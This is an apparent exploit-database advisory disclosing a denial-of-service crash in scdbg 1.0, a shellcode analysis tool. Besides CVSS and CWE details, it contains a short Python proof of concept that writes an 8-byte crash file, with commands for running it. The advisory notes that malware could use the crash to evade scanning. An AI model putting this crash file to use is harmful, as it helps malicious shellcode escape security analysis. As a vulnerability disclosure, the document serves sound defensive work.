b137003172
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# Exploit Title: Scdbg 1.0 - Buffer overflow DoS
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# Discovery by: Rafael Pedrero
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# Discovery Date: 2021-06-13
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# Vendor Homepage: http://sandsprite.com/blogs/index.php?uid=7&pid=152
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# Software Link : https://github.com/dzzie/VS_LIBEMU
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# Tested Version: 1.0 - Compile date: Jun 3 2021 20:57:45
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# Tested on: Windows 7, 10
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CVSS v3: 7.5
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CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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CWE: CWE-400
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Vulnerability description: scdbg.exe (all versions) is affected by a Denial
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of Service vulnerability that occurs when you use the /foff parameter or
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not with a specific shellcode causing it to shutdown. Any malware could use
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this option to evade the scan.
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Proof of concept:
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Save this script like scdbg_crash.py and execute it: scdbg.exe -foff 1 -f
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scdbg_crash.bin / scdbg.exe -f scdbg_crash.bin
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#!/usr/bin/env python
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crash = "\x90\xF6\x84\x01\x90\x90\x90\x90"
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f = open ("scdbg_crash.bin", "w")
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f.write(crash)
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f.close()
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You can use gui_launcher.exe and check "Start offset 0x": 1 or directly
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without check
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[image: image.png] |